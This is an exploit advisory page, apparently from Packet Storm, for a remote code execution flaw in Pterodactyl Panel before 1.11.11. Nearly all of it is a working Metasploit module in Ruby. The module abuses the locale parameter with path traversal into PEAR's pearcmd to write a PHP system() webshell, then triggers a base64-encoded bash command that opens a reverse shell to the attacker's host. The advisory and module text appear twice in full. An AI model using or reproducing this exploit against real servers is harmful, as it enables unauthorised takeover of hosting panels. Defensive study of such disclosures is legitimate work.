10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP file via the locale functionality and then execute it to gain a reverse...
Basic Information
ID
PACKETSTORM:215741
Published
Feb 17, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://pterodactyl.io/ |
=============================================================================================================================================
[+] Summary : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands.
Successful exploitation may lead to remote shell access under the privileges of the web server user.
[+] POC :
set RHOSTS target.com
set RPORT 80
set TARGETURI /
set LHOST your_ip
set LPORT your_port
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'json'
require 'rubygems'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
'Description' => %q{
This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
versions before 1.11.11. The vulnerability allows an attacker to write a malicious
PHP file via the locale functionality and then execute it to gain a reverse shell.
},
'Author' => [
'pwndalf',
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49132'],
['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-10-15',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'version')
})
unless res
return CheckCode::Unknown('Connection failed')
end
if res.code == 200 && res.body
version = extract_version(res.body)
if version
vprint_status("Detected Pterodactyl version: #{version}")
begin
current_version = Gem::Version.new(version)
vulnerable_version = Gem::Version.new('1.11.11')
if current_version < vulnerable_version
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Patched version detected: #{version}")
end
rescue ArgumentError => e
vprint_error("Invalid version format: #{e.message}")
return CheckCode::Unknown('Invalid version format')
end
end
end
locale_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
})
if locale_res && locale_res.code == 200
return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
end
CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
rescue ::Rex::ConnectionError
CheckCode::Unknown('Connection failed')
end
def extract_version(body)
json_data = JSON.parse(body) rescue nil
if json_data.is_a?(Hash) && json_data['version']
return json_data['version']
end
if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
return $1
end
if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
return $1
end
nil
end
def execute_command(cmd)
encoded_cmd = Base64.strict_encode64(cmd)
payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
php_payload = "<?=system('#{payload_cmd}')?>"
print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
write_res = send_request_cgi({
'method' => 'GET',
'uri' => write_uri,
'vars_get' => {
'+config-create+' => '',
'locale' => "../../../../..#{datastore['PEAR_PATH']}",
'namespace' => 'pearcmd',
'/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
}
}, 10)
unless write_res && write_res.code == 200
fail_with(Failure::NotVulnerable, 'Failed to write payload')
end
print_good("Payload written successfully")
trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
print_status("Triggering payload...")
begin
send_request_cgi({
'method' => 'GET',
'uri' => trigger_uri,
'vars_get' => {
'locale' => '../../../../../../tmp',
'namespace' => 'payload'
}
}, 5)
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout
vprint_status('Trigger request completed (expected timeout/error)')
end
print_status('Payload triggered. Check your listener for incoming connection.')
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
def exploit
if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
end
unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
end
print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
command = payload.encoded
execute_command(command)
handler
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://pterodactyl.io/ |
=============================================================================================================================================
[+] Summary : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands.
Successful exploitation may lead to remote shell access under the privileges of the web server user.
[+] POC :
set RHOSTS target.com
set RPORT 80
set TARGETURI /
set LHOST your_ip
set LPORT your_port
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'json'
require 'rubygems'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
'Description' => %q{
This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
versions before 1.11.11. The vulnerability allows an attacker to write a malicious
PHP file via the locale functionality and then execute it to gain a reverse shell.
},
'Author' => [
'pwndalf',
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49132'],
['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-10-15',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'version')
})
unless res
return CheckCode::Unknown('Connection failed')
end
if res.code == 200 && res.body
version = extract_version(res.body)
if version
vprint_status("Detected Pterodactyl version: #{version}")
begin
current_version = Gem::Version.new(version)
vulnerable_version = Gem::Version.new('1.11.11')
if current_version < vulnerable_version
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Patched version detected: #{version}")
end
rescue ArgumentError => e
vprint_error("Invalid version format: #{e.message}")
return CheckCode::Unknown('Invalid version format')
end
end
end
locale_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
})
if locale_res && locale_res.code == 200
return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
end
CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
rescue ::Rex::ConnectionError
CheckCode::Unknown('Connection failed')
end
def extract_version(body)
json_data = JSON.parse(body) rescue nil
if json_data.is_a?(Hash) && json_data['version']
return json_data['version']
end
if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
return $1
end
if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
return $1
end
nil
end
def execute_command(cmd)
encoded_cmd = Base64.strict_encode64(cmd)
payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
php_payload = "<?=system('#{payload_cmd}')?>"
print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
write_res = send_request_cgi({
'method' => 'GET',
'uri' => write_uri,
'vars_get' => {
'+config-create+' => '',
'locale' => "../../../../..#{datastore['PEAR_PATH']}",
'namespace' => 'pearcmd',
'/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
}
}, 10)
unless write_res && write_res.code == 200
fail_with(Failure::NotVulnerable, 'Failed to write payload')
end
print_good("Payload written successfully")
trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
print_status("Triggering payload...")
begin
send_request_cgi({
'method' => 'GET',
'uri' => trigger_uri,
'vars_get' => {
'locale' => '../../../../../../tmp',
'namespace' => 'payload'
}
}, 5)
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout
vprint_status('Trigger request completed (expected timeout/error)')
end
print_status('Payload triggered. Check your listener for incoming connection.')
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
def exploit
if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
end
unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
end
print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
command = payload.encoded
execute_command(command)
handler
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================